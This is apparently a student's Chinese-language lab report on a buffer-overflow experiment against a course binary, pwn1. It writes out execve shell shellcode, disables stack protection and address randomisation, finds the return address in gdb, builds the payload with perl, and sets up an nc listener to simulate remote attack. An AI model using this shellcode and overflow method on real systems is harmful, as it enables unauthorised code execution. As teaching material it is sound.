20192204-exp1-逆向与Bof基础 (3)

20192204-exp1-逆向与Bof基础

4. 注入Shellcode并执行 4.1 准备一段Shellcode shellcode就是一段机器指令(code)

通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

本实验以以下shellcode为例:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ 4.2 准备工作 首先需要安装prelink软件包以执行execstack命令用于对程序的堆栈进行设置:

根据班课资源提示步骤进行解压及安装配置:

20192204-exp1-逆向与Bof基础

20192204-exp1-逆向与Bof基础

配置完毕之后先通过execstack -s pwn1指令来设置堆栈可执行
再用 execstack -q 指令查询文件的堆栈是否可执行
显示X pwn1即为堆栈可执行。

接下来使用如下指令来关闭地址随机化:

more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space more /proc/sys/kernel/randomize_va_space

20192204-exp1-逆向与Bof基础

4.3 构造要注入的payload

根据实验指导书提示:

Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode

nop+shellcode+retaddr

所以就是看shellcode是在缓冲区的前面还是在缓冲区的后面

这里进行尝试的结构为:anything+retaddr+nops+shellcode。
输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址,这样就能通过覆盖返回地址的值执行shellcode

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn1

注意:输入该代码后回车一次即可,无需多次回车至出现������1�Ph//shh/bin��PS��1Ұ字样,因为出现该字样后在前往另外一个终端时会无法attach上该进程。

再开另外一个终端,用gdb来调试pwn1这个进程。

首先使用指令ps -ef | grep pwn1找到pwn1的进程号为27215,随后启动gdb进行调试。

先输入指令attach 27215来联系上该进程

使用指令disassemble foo设置断点,这里看到ret指令处的地址为0x080484ae,使用指令break *0x080484ae 设置断点,输入c继续运行

注意在输入c(即continue那一步)时,先应返回原本进程输入一个回车!

20192204-exp1-逆向与Bof基础

在这里可以看到esp的地址为0xffffd54c,所以跳转到0xffffd54c

20192204-exp1-逆向与Bof基础

跳转后可以看到我们之前注入的shellcode中用于覆盖返回地址的部分1234:

20192204-exp1-逆向与Bof基础

结合结构anything+retaddr+nops+shellcode,将1234位置的地址加上4字节(shellcode挨在缓冲
区的后面)即可得到shellcode的地址0xffffd550,所以将0xffffd550替换1234,便可令shellcode的地址覆盖ret返回地址,所以此处输入的shellcode应为:

perl -e 'print "A" x 32;print "\x50\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

注入shellcode之后输入pwn1,执行后输入ls成功列出当前目录下所有文件,成功通过注入

shellcode覆盖返回地址从而执行shellcode:

20192204-exp1-逆向与Bof基础

4.5 结合nc模拟远程攻击

本例中是在同一台主机上做的实验;该实验***在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。

首先输入指令sudo ifconfig查看本机的ip地址 127.0.0.1,(这里要在ifconfig的前面加上sudo,不然会提示找不到该命令。

输入指令nc -l 127.0.0.1 -p 28234 -e ./pwn1 模拟一个有漏洞的网络服务:

-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

这么做的目的在于将主机1设置成为服务器,也就是被攻击机

主机2,连接主机1并发送攻击载荷:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zgjwgg.html